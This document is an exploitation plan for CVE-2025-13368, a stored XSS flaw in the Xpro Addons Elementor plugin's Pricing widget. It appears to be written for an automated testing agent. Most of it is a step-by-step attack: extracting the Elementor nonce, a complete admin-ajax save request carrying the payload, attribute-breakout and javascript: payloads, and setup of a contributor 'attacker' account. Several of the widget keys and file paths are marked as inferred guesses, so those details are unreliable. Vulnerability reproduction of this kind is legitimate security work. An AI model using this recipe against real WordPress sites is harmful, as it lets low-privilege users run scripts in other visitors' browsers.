Exploitation Research Plan: CVE-2025-13368

1. Vulnerability Summary

The Xpro Addons — 140+ Widgets for Elementor plugin (up to version 1.4.20) contains a stored cross-site scripting (XSS) vulnerability in its Pricing Widget. The vulnerability exists because the plugin accepts user-supplied JavaScript/string input for the 'onClick Event' setting and renders it into the page's HTML without sufficient sanitization or context-aware escaping (e.g., failing to use esc_js() or esc_attr()). Authenticated users with Contributor roles or higher can exploit this to inject arbitrary scripts that execute when any user views the affected page.

2. Attack Vector Analysis

• Endpoint: Elementor's AJAX handler or REST API used for saving post metadata.
• Action: elementor_ajax (standard Elementor save action) or via the WordPress REST API wp-json/elementor/v1/posts/<post_id>.
• Parameter: The payload is stored within the _elementor_data post meta, specifically inside the settings object of a xpro-pricing (inferred slug) widget.
• Vulnerable Setting: onclick_event or button_onclick (inferred from description).
• Authentication: Authenticated (Contributor+). Contributors can create posts and edit them using Elementor.

3. Code Flow

1. Registration: The Pricing widget registers a control (likely type Controls_Manager::TEXT or URL) in its register_controls() method.
2. Storage: When a user saves an Elementor page, the widget settings are serialized into JSON and stored in the _elementor_data field in the wp_postmeta table.
3. Retrieval: When the page is viewed, Elementor calls the render() method of the Xpro_Pricing widget class.
4. Sink: Inside render() (likely in widgets/pricing.php), the code retrieves the setting:

   $settings = $this->get_settings_for_display();
   $onclick_event = $settings['onclick_event']; // Inferred key
   

   The vulnerability occurs when this variable is echoed into an attribute:

   echo '<button onclick="' . $onclick_event . '">'; // VULNERABLE SINK
   

   Or if it's used inside a <a> tag's href without esc_url().

4. Nonce Acquisition Strategy

Elementor uses its own nonce system for editor actions. The execution agent should follow this strategy:

1. Setup: Create a page and enable Elementor for it.
   • wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content=''
   • (Note: Elementor may need to be initialized on the post first).
2. Access Editor: Navigate to the Elementor editor URL: /wp-admin/post.php?post=<ID>&action=elementor.
3. Extract Nonce: Use browser_eval to extract the required nonce and configuration from the global Elementor objects.
   • Nonce: browser_eval("window.elementorCommonConfig.ajax.nonce")
   • Post ID: browser_eval("window.elementorConfig.post.id")
   • Action URL: /wp-admin/admin-ajax.php (or the REST endpoint if preferred).

5. Exploitation Strategy

The goal is to inject a payload into the Pricing widget's button click event via the Elementor save mechanism.

Step 1: Discover Exact Control ID

Use the browser to add a Pricing widget manually or grep the plugin source for "Pricing" and "onClick":
grep -r "onClick" wp-content/plugins/xpro-elementor-addons/widgets/

Step 2: Craft the Save Request

Send a POST request to admin-ajax.php with the elementor_ajax action.

• URL: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=elementor_ajax
&actions={"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"unique_id_1","elType":"section","settings":[],"elements":[{"id":"unique_id_2","elType":"column","settings":{"_column_size":100},"elements":[{"id":"unique_id_3","elType":"widget","widgetType":"xpro-pricing","settings":{"onclick_event":"alert(document.domain)\"},\"junk\":\""},"elements":[]}]}]}]}}}
&_nonce=<ELEMENTOR_NONCE>
&editor_post_id=<POST_ID>

(Note: The payload alert(document.domain)\"},\"junk\":\" is designed to break out of potential JSON structures or simply provide the raw JS if rendered directly into an onclick attribute).

Step 3: Trigger the XSS

Navigate to the public URL of the post: http://<target>/?p=<POST_ID>. Locate the Pricing widget button and click it, or if the injection broke out of the attribute, it may fire on page load.

6. Test Data Setup

1. User: Create a Contributor user: wp user create attacker attacker@example.com --role=contributor --user_pass=password123.
2. Plugin: Ensure xpro-elementor-addons (<= 1.4.20) and elementor are active.
3. Page: Create a post as the contributor.

7. Expected Results

• The Elementor save request returns a 200 OK with a success JSON body: {"success":true,"data":{...}}.
• When viewing the page source of the created post, the Pricing widget's button element contains the raw payload:
  <button ... onclick="alert(document.domain)...">
• Clicking the button triggers the JavaScript alert.

8. Verification Steps

1. Check Meta: Use WP-CLI to verify the payload is stored in the database:
   wp post meta get <POST_ID> _elementor_data
   Check if the JSON contains the string alert(document.domain).
2. Check Output: Perform a GET request to the page and check for the unescaped string:
   http_request --url http://<target>/?p=<POST_ID> (and search response for payload).

9. Alternative Approaches

• Payload Variance: If onclick is properly handled but href is not, try javascript:alert(1).
• Attribute Breakout: If the input is escaped for JS but not for HTML attributes, try:
  " onmouseover="alert(1)
• REST API: Use the Elementor REST API instead of admin-ajax.php:
  POST /wp-json/elementor/v1/posts/<ID> with the _elementor_data in the body. This often requires a different nonce (wp_rest).